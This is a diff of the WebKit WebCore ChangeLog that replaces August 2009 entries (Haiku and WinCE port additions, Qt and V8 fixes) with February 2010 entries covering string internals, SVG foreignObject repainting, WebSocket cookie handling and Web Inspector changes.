-        * platform/graphics/haiku/ColorHaiku.cpp: Added.
-        (WebCore::Color::Color):
-        (WebCore::Color::operator rgb_color):
-        (WebCore::focusRingColor):
-        * platform/graphics/haiku/FloatPointHaiku.cpp: Added.
-        (WebCore::FloatPoint::FloatPoint):
-        (WebCore::FloatPoint::operator BPoint):
-        * platform/graphics/haiku/FloatRectHaiku.cpp: Added.
-        (WebCore::FloatRect::FloatRect):
-        (WebCore::FloatRect::operator BRect):
-        * platform/graphics/haiku/GradientHaiku.cpp: Added.
-        (WebCore::Gradient::platformDestroy):
-        (WebCore::Gradient::platformGradient):
-        (WebCore::Gradient::fill):
-        * platform/graphics/haiku/IntPointHaiku.cpp: Added.
-        (WebCore::IntPoint::IntPoint):
-        (WebCore::IntPoint::operator BPoint):
-        * platform/graphics/haiku/IntRectHaiku.cpp: Added.
-        (WebCore::IntRect::IntRect):
-        (WebCore::IntRect::operator BRect):
-        * platform/graphics/haiku/IntSizeHaiku.cpp: Added.
-        (WebCore::IntSize::IntSize):
-        (WebCore::IntSize::operator BSize):
-        * platform/graphics/haiku/PathHaiku.cpp: Added.
-        (WebCore::Path::Path):
-        (WebCore::Path::~Path):
-        (WebCore::Path::operator=):
-        (WebCore::Path::hasCurrentPoint):
-        (WebCore::Path::contains):
-        (WebCore::Path::translate):
-        (WebCore::Path::boundingRect):
-        (WebCore::Path::moveTo):
-        (WebCore::Path::addLineTo):
-        (WebCore::Path::addQuadCurveTo):
-        (WebCore::Path::addBezierCurveTo):
-        (WebCore::Path::addArcTo):
-        (WebCore::Path::closeSubpath):
-        (WebCore::Path::addArc):
-        (WebCore::Path::addRect):
-        (WebCore::Path::addEllipse):
-        (WebCore::Path::clear):
-        (WebCore::Path::isEmpty):
-        (WebCore::Path::debugString):
-        (WebCore::Path::apply):
-        (WebCore::Path::transform):
-        (WebCore::Path::strokeBoundingRect):
-
-2009-08-12  Lyon Chen  <lyon.chen@torchmobile.com>
-
-        Reviewed by George Staikos.
-
-        WINCE PORT: Implement Keygen for WINCE
-        https://bugs.webkit.org/show_bug.cgi?id=27543
-
-        * platform/wince/KeygenWince.cpp: Added.
-
-2009-08-12  Brent Fulgham  <bfulgham@webkit.org>
-
-        Rubber-stamped by Kevin Ollivier.
-
-        Handle crash in wx due to null value passed to strlen in
-        the CString constructor.
-
-        * platform/network/curl/ResourceHandleManager.cpp:
-        (WebCore::certificatePath):  Check for null return from getenv
-        and use default CString constructor instead.
-
-2009-08-12  Yong Li  <yong.li@torchmobile.com>
-
-        Reviewed by Eric Seidel.
-
-        WINCE PORT: simple stubs to make it build for WINCE
-        https://bugs.webkit.org/show_bug.cgi?id=27543
-
-        * platform/wince/DragDataWince.cpp: Added.
-        * platform/wince/DragImageWince.cpp: Added.
-        * platform/wince/EditorWince.cpp: Added.
-        * platform/wince/KURLWince.cpp: Added.
-
-2009-08-12  Yong Li  <yong.li@torchmobile.com>
-
-        Reviewed by George Staikos.
-
-        WINCEPORT: FileSystem and FileChooser
-        https://bugs.webkit.org/show_bug.cgi?id=27543
-
-        * platform/wince/FileChooserWince.cpp: Added.
-        * platform/wince/FileSystemWince.cpp: Added.
-
-2009-08-12  Yong Li  <yong.li@torchmobile.com>
-
-        Reviewed by Eric Seidel.
-
-        WINCE PORT: implement Cursor for WINCE. There's no real cursor on most
-        WinMob devices. We pass the cursor info to application, which so that 
-        can determine what to do.
-        https://bugs.webkit.org/show_bug.cgi?id=27543
-
-        * platform/wince/CursorWince.cpp: Added.
+        https://bugs.webkit.org/show_bug.cgi?id=33731
+        Remove uses of PtrAndFlags from WebCore::StringImpl.
 
-2009-08-12  Yong Li  <yong.li@torchmobile.com>
+        These break the OS X Leaks tool.  Use a bits stolen from the refCount to hold the
+        'InTable' and 'HasTerminatingNullCharacter' flags, along with the string type
+        (fixes a leak where the string data is allocated at the address (this + 1), and is
+        misinterpreted as being an internal buffer).
 
-        Reviewed by George Staikos.
+        * WebCore.base.exp:
+        * platform/text/StringImpl.cpp:
+        (WebCore::StringImpl::StringImpl):
+        (WebCore::StringImpl::~StringImpl):
+        (WebCore::StringImpl::create):
+        (WebCore::StringImpl::createWithTerminatingNullCharacter):
+        (WebCore::StringImpl::crossThreadString):
+        (WebCore::StringImpl::sharedBuffer):
+        * platform/text/StringImpl.h:
+        (WebCore::StringImpl::):
+        (WebCore::StringImpl::hasTerminatingNullCharacter):
+        (WebCore::StringImpl::inTable):
+        (WebCore::StringImpl::setInTable):
+        (WebCore::StringImpl::ref):
+        (WebCore::StringImpl::deref):
+        (WebCore::StringImpl::hasOneRef):
+        (WebCore::StringImpl::operator new):
+        (WebCore::StringImpl::bufferOwnership):
+        * storage/OriginUsageRecord.cpp:
+        (WebCore::OriginUsageRecord::addDatabase):
+        (WebCore::OriginUsageRecord::markDatabase):
+
+2010-02-12  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Dirk Schulze.
+
+        Repaint bug on Text selection in foreignObject
+        https://bugs.webkit.org/show_bug.cgi?id=16939
+
+        Tests: svg/overflow/overflow-on-foreignObject.svg
+               svg/text/foreignObject-text-clipping-bug.xml
+
+        Selecting text contained in <foreignObject> leads to artefacts. Same for zooming/panning.
+        RenderForeignObject contained old legacy code returning FloatRect() for repaintRectInLocalCoordinates,
+        which is obviously wrong. Fixing that leads to even more problems, as the underlying RenderBlock
+        did not reflect the x/y translation set on the <foreignObject>. This is problematic, as laying out
+        positioned objects in the XHTML subtree depends on proper size/location values of the frameRect.
+
+        Correctly clip on overflow="hidden". overflow="scroll" & friends are not yet supported, see lengthy
+        comment in RenderSVGBlock why we either need RenderLayer for RenderForeignObject or need to rework
+        overflow handling to avoid RenderLayer.
+
+        SVGForeignObjectElement uses a hacky custom solution to synchronize CSS width/height properties with
+        the SVG width/height attributes. Remove all of that code and just implement calcWidth/calcHeight in
+        RenderForeignObject, grabbing the right values from SVGForeignObjectElement::width/height upon layout.
+
+        * rendering/RenderForeignObject.cpp:
+        (WebCore::RenderForeignObject::paint): Clip properly to the actual bounds of the foreignObject, respecting that x/y translation is handled by RenderBlock now.
+        (WebCore::RenderForeignObject::clippedOverflowRectForRepaint): Added missing function, forward to SVGRenderBase just like all other SVG renderers.
+        (WebCore::RenderForeignObject::computeRectForRepaint): Remove manual implementation, forward to SVGRenderBase.
+        (WebCore::RenderForeignObject::localToParentTransform): Respect x/y translation here _after_ applying localTransform().
+        (WebCore::RenderForeignObject::calcWidth): Override RenderBlock::calcWidth to grab width() from SVGForeignObjectElement.
+        (WebCore::RenderForeignObject::calcHeight): Override RenderBlock::calcHeight to grab height() from SVGForeignObjectElement.
+        (WebCore::RenderForeignObject::layout): Calculate viewport once and cache it. Push x/y location down to RenderBlock - analogous to RenderSVGText.
+        (WebCore::RenderForeignObject::nodeAtFloatPoint): Adapt to x/y translation changes (map through localTransform, not localToParentTransform). Respect overflow clipping.
+        (WebCore::RenderForeignObject::mapLocalToContainer): Set useTransforms=true, to avoid assertions when selecting text in foreign objects.
+        * rendering/RenderForeignObject.h:
+        (WebCore::RenderForeignObject::objectBoundingBox): Return cached m_viewport.
+        (WebCore::RenderForeignObject::strokeBoundingBox): Ditto.
+        (WebCore::RenderForeignObject::repaintRectInLocalCoordinates): Ditto.
+        * rendering/RenderSVGBlock.cpp:
+        (WebCore::RenderSVGBlock::setStyle): Cleanup code, move setHasOverflowClip() overrides in updateBoxModelInfoFromStyle where it belongs.
+        (WebCore::RenderSVGBlock::updateBoxModelInfoFromStyle): Added to force setting setHasOverflowClip(false).
+        * rendering/RenderSVGBlock.h:
+        * svg/SVGForeignObjectElement.cpp: Kill a lot of custom code - it was just plain wrong to utilize CSS to push width/height information down to RenderBlock.
+        (WebCore::SVGForeignObjectElement::svgAttributeChanged):
 
-        WINCE PORT: MIMETypeRegistry
-        https://bugs.webkit.org/show_bug.cgi?id=27543
+2010-02-12  Dan Bernstein  <mitz@apple.com>
 
-        * platform/wince/MIMETypeRegistryWince.cpp: Added.
+        Reviewed by Simon Fraser.
 
-2009-08-12  Joe Mason  <joe.mason@torchmobile.com>
+        <rdar://problem/7609268> REGRESSION (r50301): Problem selecting text in a Devanagari website
+        https://bugs.webkit.org/show_bug.cgi?id=34865
 
-        Reviewed by George Staikos.
+        Test: fast/text/glyph-reordering.html
 
-        WINCE PORT: Pasteboard and SearchPopupMenu
-        https://bugs.webkit.org/show_bug.cgi?id=27543
+        * platform/graphics/mac/ComplexTextController.cpp:
+        (WebCore::ComplexTextController::ComplexTextRun::ComplexTextRun):
+        (WebCore::ComplexTextController::ComplexTextRun::setIsNonMonotonic): Added. Sets m_isMonotonic
+        and populates m_glyphEndOffsets with the end offsets of each glyph’s corresponding character range.
+        (WebCore::ComplexTextController::advance): For non-monotonic runs, use endOffsetAt() to get
+        glyphs’ end offsets.
+        (WebCore::ComplexTextController::adjustGlyphsAndAdvances): Check for monotonicity and call
+        setIsNonMonotonic() if needed.
+        * platform/graphics/mac/ComplexTextController.h:
+        (WebCore::ComplexTextController::ComplexTextRun::lastIndexAt): Added this getter.
+        (WebCore::ComplexTextController::ComplexTextRun::isMonotonic): Ditto.
+        * platform/graphics/mac/ComplexTextControllerATSUI.cpp:
+        (WebCore::ComplexTextController::ComplexTextRun::ComplexTextRun): Initialize m_isMonotonic.
+        * platform/graphics/mac/ComplexTextControllerCoreText.cpp:
+        (WebCore::ComplexTextController::ComplexTextRun::ComplexTextRun): Ditto.
 
-        * platform/wince/PasteboardWince.cpp: Added.
-        * platform/wince/SearchPopupMenuWince.cpp: Added.
+2010-02-12  Alexey Proskuryakov  <ap@apple.com>
 
-2009-08-12  Yong Li  <yong.li@torchmobile.com>
+        Reviewed by David Levin.
 
-        Reviewed by George Staikos.
+        https://bugs.webkit.org/show_bug.cgi?id=34866
+        Leopard Debug Bot crashed on fast/forms/old-names.html
 
-        WINCE PORT: Add SharedTimerWince.cpp and SystemTimeWince.cpp
-        https://bugs.webkit.org/show_bug.cgi?id=27543
+        * html/HTMLFormCollection.cpp: (WebCore::HTMLFormCollection::formCollectionInfo): Removed
+        a misplaced checkConsistency() call. We are not looking at cache content at this point, and
+        caches will be reset on next access.
 
-        * platform/wince/SharedTimerWince.cpp: Added.
-        * platform/wince/SystemTimeWince.cpp: Added.
+2010-02-12  Pavel Feldman  <pfeldman@chromium.org>
 
-2009-08-12  Mark Mentovai  <mark@chromium.org>
+        Reviewed by Timothy Hatcher.
 
-        Reviewed by Darin Adler.
+        Web Inspector: restore highlighting animation, bring back
+        keyboard navigation, beautify search results.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28204
-        Allow C+exceptions to be disabled in WebCore's V8 Mac build.
+        https://bugs.webkit.org/show_bug.cgi?id=34853
 
-        * WebCorePrefix.h:
-        Only undefine |try| and |catch| when building Objective-C[++],
-        leaving the C+library definitions intact for C++.
+        * inspector/front-end/TextViewer.js:
+        (WebInspector.TextViewer):
+        (WebInspector.TextViewer.prototype.highlightLine):
+        * inspector/front-end/textViewer.css:
 
-2009-08-12  Nate Chapin  <japhet@chromium.org>
+2010-02-12  Anton Muhin  <antonm@chromium.org>
 
         Reviewed by Adam Barth.
 
-        Add a Custom Setter for DOMWindowEvent in the V8 bindings.
-        https://bugs.webkit.org/show_bug.cgi?id=27719
-
-        Tests: fast/events/set-event-in-another-frame.html
-               fast/events/set-event-to-null.html
-
-        * bindings/scripts/CodeGeneratorV8.pm: Clean up custom getter/setter code, 
-            as it currently doesn't support a custom getter 
-            and a v8-specific custom setter simultaneously.
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::ACCESSOR_SETTER):
-        * page/DOMWindow.idl:
-
-2009-08-12  Peter Kasting  <pkasting@google.com>
-
-        Reviewed by Adam Treat.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27965
-        Merge wx/ImageSourceWx.cpp into ImageSource.cpp.  No changes to
-        ImageSource.cpp were needed, so this just deletes ImageSourceWx.cpp.
-
-        * WebCore.gypi:
-        * WebCoreSources.bkl:
-        * platform/graphics/wx/ImageSourceWx.cpp: Removed.
-        * webcore-wx.bkl:
-
-2009-08-12  Peter Kasting  <pkasting@google.com>
-
-        Reviewed by Dave Levin.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27933
-        Build fix after r47099.
+        [v8] handle to the document can only own Objects, not Values
+        https://bugs.webkit.org/show_bug.cgi?id=34854
 
-        * platform/graphics/skia/ImageBufferSkia.cpp:
-        (WebCore::getImageData):
-        (WebCore::putImageData):
-
-2009-08-08  Yong Li  <yong.li@torchmobile.com>
-
-        Reviewed by Adam Treat.
+        * bindings/v8/V8DOMWindowShell.cpp:
+        (WebCore::V8DOMWindowShell::updateDocumentWrapper):
+        (WebCore::V8DOMWindowShell::updateDocumentWrapperCache):
+        * bindings/v8/V8DOMWindowShell.h:
+        * bindings/v8/custom/V8DocumentCustom.cpp:
+        (WebCore::toV8):
 
-        WINCE PORT: Implement Path for WINCE. Most code can be
-        reused for other ports that don't have native path support
-        https://bugs.webkit.org/show_bug.cgi?id=28188
+2010-02-12  Simon Hausmann  <simon.hausmann@nokia.com>
 
-        Written also by George Staikos (including quadCurve() and bezier())
+        Reviewed by Holger Freyther.
 
-        * platform/graphics/wince/PathWince.cpp: Added.
-        * platform/graphics/wince/PlatformPathWince.cpp: Added.
-        * platform/graphics/wince/PlatformPathWince.h: Added.
-        * platform/graphics/wince/WinceGraphicsExtras.h: Added.
+        Replaced stray CRLF with LF.
 
-2009-08-12  Joseph Pecoraro  <joepeck02@gmail.com>
+        * wml/WMLInputElement.cpp:
+        (WebCore::WMLInputElement::suggestedValue):
+        * wml/WMLInputElement.h:
 
-        "Double-click to add" new style button does not always show up [quick fix]
-        https://bugs.webkit.org/show_bug.cgi?id=28187
+2010-02-10  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
 
-        * inspector/front-end/StylesSidebarPane.js:
-        (WebInspector.StylePropertyTreeElement.prototype.updateTitle):
+        Reviewed by Tor Arne Vestbø.
 
-2009-08-12  Crystal Zhang <crystal.zhang@torchmobile.com>
+        [Qt] Make qtlauncher and qgvlauncher use the generated headers
+        path to make sure they are correctly generated.
 
-        Reviewed by George Staikos.
+        * WebCore.pro:
 
-        WINCE PORT: MediaPlayerProxy and MediaPlayerPrivate
-        https://bugs.webkit.org/show_bug.cgi?id=28178
+2010-02-10  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
 
-        * platform/graphics/wince/MediaPlayerPrivateWince.h: Added.
-        * platform/graphics/wince/MediaPlayerProxy.cpp: Added.
-        * platform/graphics/wince/MediaPlayerProxy.h: Added.
+        Reviewed by Tor Arne Vestbø.
 
-2009-08-12  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+        [Qt] Ensure relative paths in generated .pri files to ensure that
+        a source package with pre-generated derived sources can be compiled.
 
-        Reviewed by Eric Seidel.
+        - Re-add a separate headers.pri file for WEBKIT_API_HEADERS
+        - Rename the generated headers.pri to classheaders.pri to avoid
+        confusion with the one generated by synqt since they don't have the
+        same content.
+        - Remove private headers list variable from classheaders.pri
+        - Use $$PWD in classheaders.pri
+        - Remove classheaders.pri from the installed files
 
-        HTML 5 database and LocalStorage is not persistent on the Symbian port of QtWebKit
-        https://bugs.webkit.org/show_bug.cgi?id=28175
+        * WebCore.pro:
 
-        Call QDir::toNativeSeparators() before the path is passed to the OS.
+2010-02-10  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
 
-        Based on work by David Leong.
-        
-        * platform/qt/FileSystemQt.cpp:
-        (WebCore::pathByAppendingComponent):
+        Reviewed by Tor Arne Vestbø.
 
-2009-08-12  Dirk Schulze  <krit@webkit.org>
+        [Qt] Manually add support for the install target on Symbian.
 
-        Reviewed by Ariya Hidayat.
+        This is required to copy the headers over the ones in Qt.
 
-        Minor build-fix for SVG Filter. Use getUnmultipliedImageData instead
-        of getImageData. This changed since r47099.
+        * WebCore.pro:
 
-        * platform/graphics/filters/FEColorMatrix.cpp:
-        (WebCore::FEColorMatrix::apply):
+2010-02-10  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
 
-2009-08-12  Viet-Trung Luu  <viettrungluu@gmail.com>
+        Reviewed by Tor Arne Vestbø.
 
-        Reviewed by Dimitri Glazkov.
+        [Qt] Minor fixes on QtWebKit headers generation.
 
-        Explicitly set control tints for Chromium/Mac, since the controls'
-        NSCell(s) lack an NSView and hence their tint isn't updated
-        automatically when the application is activated/deactivated.
-        https://bugs.webkit.org/show_bug.cgi?id=28108
-        http://crbug.com/18199
+        - Adds QtWebKit to the generated headers destination path
+        - Improve compatibility with MinGW
 
-        * rendering/RenderThemeChromiumMac.mm:
-        (WebCore::updateNSCellControlTint):
-        (WebCore::RenderThemeChromiumMac::paintCheckbox):
-        (WebCore::RenderThemeChromiumMac::paintRadio):
-        (WebCore::RenderThemeChromiumMac::paintButton):
-        (WebCore::RenderThemeChromiumMac::paintMenuList):
-        (WebCore::RenderThemeChromiumMac::paintSliderThumb):
-        (WebCore::RenderThemeChromiumMac::paintSearchField):
-        (WebCore::RenderThemeChromiumMac::paintSearchFieldCancelButton):
-        (WebCore::RenderThemeChromiumMac::paintSearchFieldResultsDecoration):
-        (WebCore::RenderThemeChromiumMac::paintSearchFieldResultsButton):
+        * WebCore.pro:
 
-2009-08-12  Christian Plesner Hansen  <christian.plesner.hansen@gmail.com>
+2010-02-11  Fumitoshi Ukai  <ukai@chromium.org>
 
-        Reviewed by Dimitri Glazkov.
+        Reviewed by Alexey Proskuryakov.
 
-        [V8] Fix atomic string externalization crash.
-        Atomic string externalization assumes that all non-empty strings
-        can be externalized which is untrue on 64-bit.  This change fixed
-        that.
+        WebSocket ignores HttpOnly cookies, but should use in Handshake.
+        https://bugs.webkit.org/show_bug.cgi?id=34289
 
-        https://bugs.webkit.org/show_bug.cgi?id=28215
+        Test: websocket/tests/cookies/httponly-cookie.pl
 
-        This bug causes loads of test crashes, no need to add new tests
-        specifically for this.
+        * platform/CookieJar.h: add cookieRequestHeaderFieldValue()
+        * platform/chromium/ChromiumBridge.h:
+        * platform/haiku/CookieJarHaiku.cpp:
+        (WebCore::cookieRequestHeaderFieldValue):
+        * platform/mac/CookieJar.mm:
+        (WebCore::cookies):
+        (WebCore::cookieRequestHeaderFieldValue):
+        * platform/network/android/CookieJarAndroid.cpp:
+        (WebCore::cookieRequestHeaderFieldValue):
+        * platform/network/chromium/CookieJarChromium.cpp:
+        (WebCore::cookieRequestHeaderFieldValue):
+        * platform/network/curl/CookieJarCurl.cpp:
+        (WebCore::cookieRequestHeaderFieldValue):
+        * platform/network/soup/CookieJarSoup.cpp:
+        (WebCore::cookieRequestHeaderFieldValue):
+        * platform/network/win/CookieJarCFNetWin.cpp:
+        (WebCore::cookieRequestHeaderFieldValue):
+        * platform/network/win/CookieJarWin.cpp:
+        (WebCore::cookieRequestHeaderFieldValue):
+        * platform/qt/CookieJarQt.cpp:
+        (WebCore::cookieRequestHeaderFieldValue):
+        * websockets/WebSocketHandshake.cpp:
+        (WebCore::WebSocketHandshake::clientHandshakeMessage): use cookieRequestHeaderFieldValue() instead of cookies() to include HttpOnly cookies.
 
-        * bindings/v8/V8Binding.cpp:
-        (WebCore::v8StringToAtomicWebCoreString):
+2010-02-16  Sebastian Dröge  <sebastian.droege@collabora.co.uk>
 
-2009-08-12  Ariya Hidayat  <ariya.hidayat@nokia.com>
+        Reviewed by Gustavo Noronha Silva.
 
-        Reviewed by Holger Freyther.
+        Notify about size changes in the WebKit GStreamer source.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=34881
 
-        [Qt] Fix box-shadow painting in r47103. The edge should not be blurry.
-        Also optimize by not having to save and restore painter state.
+        * platform/graphics/gtk/WebKitWebSourceGStreamer.cpp:
+        (webkit_web_src_init):
+        (StreamingClient::didReceiveResponse):
+        * platform/graphics/gtk/WebKitWebSourceGStreamer.h:
+        This makes sure that other GStreamer elements know about the
+        size and on-disk buffering actually works.
+        Only notify about size changes if gst-plugins-base before
+        0.10.27 is used, because from that version onwards this is
+        automatically handled.
+        
+        If appsrc 0.10.27 or later is used, set the min-percent property
+        to 20% to allow more time to pass between the need-data signal
+        and starvation of the pipeline.
+        
+        Also reset the size when stopping the source and send EOS
+        on seeking failures. 
 
-        * platform/graphics/qt/GraphicsContextQt.cpp:
-        (WebCore::GraphicsContext::drawRect):
-        (WebCore::GraphicsContext::fillRect):
+2010-02-11  Ariya Hidayat  <ariya.hidayat@gmail.com>
 
-2009-08-12  Ariya Hidayat  <ariya.hidayat@nokia.com>
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Reviewed by Adam Treat.
+        [Qt] Use clipRegion instead of clipPath to save lots of CPU cycles.
 
-        [Qt] Fix coding style in GraphicsContextQt.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=32375
 
         * platform/graphics/qt/GraphicsContextQt.cpp:
-        (WebCore::toQtCompositionMode):
-        (WebCore::toQtLineCap):
-        (WebCore::toQtLineJoin):
-        (WebCore::GraphicsContextPlatformPrivate::p):
-        (WebCore::GraphicsContext::drawLine):
-        (WebCore::GraphicsContext::strokeArc):
-        (WebCore::GraphicsContext::drawConvexPolygon):
-        (WebCore::GraphicsContext::pen):
-        (WebCore::GraphicsContext::fillPath):
-        (WebCore::GraphicsContext::strokePath):
-        (WebCore::GraphicsContext::fillRect):
-        (WebCore::GraphicsContext::clipPath):
-        (WebCore::GraphicsContext::drawFocusRing):
-        (WebCore::GraphicsContext::beginTransparencyLayer):
-        (WebCore::GraphicsContext::endTransparencyLayer):
-        (WebCore::GraphicsContext::clearRect):
-        (WebCore::GraphicsContext::setLineCap):
-        (WebCore::GraphicsContext::setLineJoin):
-        (WebCore::GraphicsContext::setMiterLimit):
-        (WebCore::GraphicsContext::setAlpha):
         (WebCore::GraphicsContext::clipOut):
         (WebCore::GraphicsContext::clipOutEllipseInRect):
-        (WebCore::GraphicsContext::addInnerRoundedRectClip):
-        (WebCore::GraphicsContext::setPlatformStrokeColor):
-        (WebCore::GraphicsContext::setPlatformStrokeStyle):
-        (WebCore::GraphicsContext::setPlatformStrokeThickness):
-
-2009-08-12  Szabo Carol  <carol.szabo@nokia.com>
-
-        Reviewed by Simon Hausmann and Ariya Hidayat.
-
-        https://bugs.webkit.org/show_bug.cgi?id=23291
-
-        [Qt] Partial support for -webkit-box-shadow. Blur is not support and
-        the shadow still does not go well with border radius.
-
-        * platform/graphics/qt/GraphicsContextQt.cpp:
-        (WebCore::GraphicsContext::drawRect):
-        (WebCore::GraphicsContext::fillRect):
-
-2009-08-12  Xan Lopez  <xlopez@igalia.com>
 
-        Reviewed by Jan Alonzo.
-
-        Use AM_V_GEN in a few more places, for less noisy builds.
-
-        * GNUmakefile.am:
+2010-02-11  Yuzo Fujishima  <yuzo@google.com>
 
-2009-08-12  Dirk Schulze  <krit@webkit.org>
+        Reviewed by Shinichiro Hamaji.
 
-        Reviewed by Oliver Hunt.
+        Rename underscored identifiers in WebCore/css/CSSParser.cpp.
+        https://bugs.webkit.org/show_bug.cgi?id=34877
+        Also fix whitespace erros that surface due to the above fix.
 
-        SVG Filter premultiplied color support for getImageDate/putImageData
-        [https://bugs.webkit.org/show_bug.cgi?id=27933]
+        This doesn't change the code logic. Hence no new tests are required.
 
-        Some SVG Filters need premultiplied ImageData for the calculation. Therefore getImageData
-        and putImageData of ImageBuffer need support for premultiplied colors.
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseValue):
 
-        * html/CanvasRenderingContext2D.cpp:
-        (WebCore::CanvasRenderingContext2D::getImageData):
-        (WebCore::CanvasRenderingContext2D::putImageData):
-        * platform/graphics/ImageBuffer.h:
-        (WebCore::):
-        * platform/graphics/cairo/ImageBufferCairo.cpp:
-        (WebCore::getImageData):
-        (WebCore::ImageBuffer::getUnmultipliedImageData):
-        (WebCore::ImageBuffer::getPremultipliedImageData):
-        (WebCore::putImageData):
-        (WebCore::ImageBuffer::putUnmultipliedImageData):
-        (WebCore::ImageBuffer::putPremultipliedImageData):
-        * platform/graphics/cg/ImageBufferCG.cpp:
-        (WebCore::getImageData):
-        (WebCore::ImageBuffer::getUnmultipliedImageData):
-        (WebCore::ImageBuffer::getPremultipliedImageData):
-        (WebCore::putImageData):
-        (WebCore::ImageBuffer::putUnmultipliedImageData):
-        (WebCore::ImageBuffer::putPremultipliedImageData):
-        * platform/graphics/qt/ImageBufferQt.cpp:
-        (WebCore::getImageData):
-        (WebCore::ImageBuffer::getUnmultipliedImageData):
-        (WebCore::ImageBuffer::getPremultipliedImageData):
-        (WebCore::putImageData):
-        (WebCore::ImageBuffer::putUnmultipliedImageData):
-        (WebCore::ImageBuffer::putPremultipliedImageData):
-        * platform/graphics/skia/ImageBufferSkia.cpp:
-        (WebCore::getImageData):
-        (WebCore::ImageBuffer::getUnmultipliedImageData):
-        (WebCore::ImageBuffer::getPremultipliedImageData):
-        (WebCore::putImageData):
-        (WebCore::ImageBuffer::putUnmultipliedImageData):
-        (WebCore::ImageBuffer::putPremultipliedImageData):
-        * platform/graphics/wx/ImageBufferWx.cpp:
-        (WebCore::ImageBuffer::getUnmultipliedImageData):
-        (WebCore::ImageBuffer::getPremultipliedImageData):
-        (WebCore::ImageBuffer::putUnmultipliedImageData):
-        (WebCore::ImageBuffer::putPremultipliedImageData):
-        * svg/graphics/SVGResourceMasker.cpp:
-        (WebCore::SVGResourceMasker::applyMask):
-
-2009-08-12  Mikhail Naganov  <mnaganov@chromium.org>
+2010-02-11  Joseph Pecoraro  <joepeck@webkit.org>
 
         Reviewed by Timothy Hatcher.
 
-        Changed Number.bytesToString to support low-resolution output.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28146
-
-        * inspector/front-end/utilities.js:
-        (Number.bytesToString):
-
-2009-08-12  Prasanth Ullattil  <prasanth.ullattil@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        Add support for hooking BeginPaint/EndPaint on 64Bit Windows
-
-        Webkit uses the runtime patching trick explained by "Feng Yuan" for
-        hooking these paint functions. It currently supports only 32bit assembly
-        code. This patch adds support for 64Bit version. Since inline-assemblies
-        are not supported for 64Bit, we have use a seperate .asm file.
-
-        * WebCore.pro:
-        * plugins/win/PaintHooks.asm: Added.
-        * plugins/win/PluginViewWin.cpp:
-        (WebCore::PluginView::hookedBeginPaint):
-        (WebCore::PluginView::hookedEndPaint):
-        (WebCore::hook):
-
-2009-08-11  Oliver Hunt  <oliver@apple.com>
-
-        Reviewed by Gavin Barraclough.
-
-        Make it harder to misuse try* allocation routines
-        https://bugs.webkit.org/show_bug.cgi?id=27469
-
-        Add forwarding header for PossiblyNull type, and add missing null check
-        to ImageBuffer creation.
-
-        * ForwardingHeaders/wtf/PossiblyNull.h: Added.
-        * platform/graphics/cg/ImageBufferCG.cpp:
-        (WebCore::ImageBuffer::ImageBuffer):
-
-2009-08-11  Gavin Barraclough  <barraclough@apple.com>
-
-        Reviewed by Oliver Hunt.
-
-        Restrict use of FuncDeclNode & FuncExprNode to the parser.
-        https://bugs.webkit.org/show_bug.cgi?id=28209
+        Web Inspector: Focusing a resource in the inspector should default to content not header
+        https://bugs.webkit.org/show_bug.cgi?id=34861
 
-        * inspector/JavaScriptDebugServer.cpp:
-        (WebCore::JavaScriptDebugServer::recompileAllJSFunctions):
-            Function signature change.
+        * inspector/front-end/Settings.js:
+        (WebInspector.Settings.prototype._load): changed initial default to content tab
 
-2009-08-11  Peter Kasting  <pkasting@google.com>
+2010-02-11  Joseph Pecoraro  <joepeck@webkit.org>
 
-        Reviewed by Adam Treat.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27965
-        Merge skia/ImageSourceSkia.cpp into ImageSource.cpp.
-
-        * WebCore.gypi: Remove deleted file, plus a file that was deleted a while back.
-        * platform/graphics/ImageSource.cpp:
-        (WebCore::ImageSource::setData): Use slightly shorter syntax.
-        (WebCore::ImageSource::filenameExtension): Use shorter syntax.
-        (WebCore::ImageSource::createFrameAtIndex): Remove redundant call, clarify comments, reject all empty images.
-        (WebCore::ImageSource::frameHasAlphaAtIndex): Clarify comments, use shorter syntax.
-        * platform/graphics/skia/ImageSourceSkia.cpp: Removed.
+        Reviewed by Timothy Hatcher.
 
-2009-08-11  Drew Wilson  <atwilson@google.com>
+        Web Inspector: Editing Styles Cannot Tab Backwards from a New Style Item
+        https://bugs.webkit.org/show_bug.cgi?id=34872
 
-        Reviewed by David Levin.
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylePropertiesSection.prototype.update): triggers afterUpdate
+        (WebInspector.StylePropertiesSection.prototype.afterUpdate): factored out _afterUpdate handling
 
-        SharedWorkers do not exit when the last parent document exits
-        https://bugs.webkit.org/show_bug.cgi?id=28170
+2010-02-11  Nikolas Zimmermann  <nzimmermann@rim.com>
 
-        Prevents Documents from being suspended/placed in the page cache if they are associated with shared workers.
+        Reviewed by Eric Seidel.
 
-        Added vector cache instead of nested hash tables for SharedWorker repository.
+        Add roundedIntSize() convenience method converting FloatSize to IntSize, just like roundedIntPoint() converting FloatPoint to IntPoint.
 
-        Added SharedWorkerRepository::documentDetached API.
+        * platform/graphics/FloatSize.h:
+        (WebCore::roundedIntSize):
 
-        * dom/Document.cpp:
-        (WebCore::Document::detach):
-        Notifies SharedWorkerRepository when the document is closing.
-        * loader/FrameLoader.cpp:
-        Updated FrameLoader to not cache the Document if it is associated with a SharedWorker (since we can't suspend workers yet, we need to shut them down).
-        (WebCore::FrameLoader::canCachePageContainingThisFrame):
-        (WebCore::FrameLoader::logCanCacheFrameDecision):
-        * workers/DefaultSharedWorkerRepository.cpp:
-        (WebCore::SharedWorkerProxy::create):
-        (WebCore::SharedWorkerProxy::isClosing):
-        Renamed from closing().
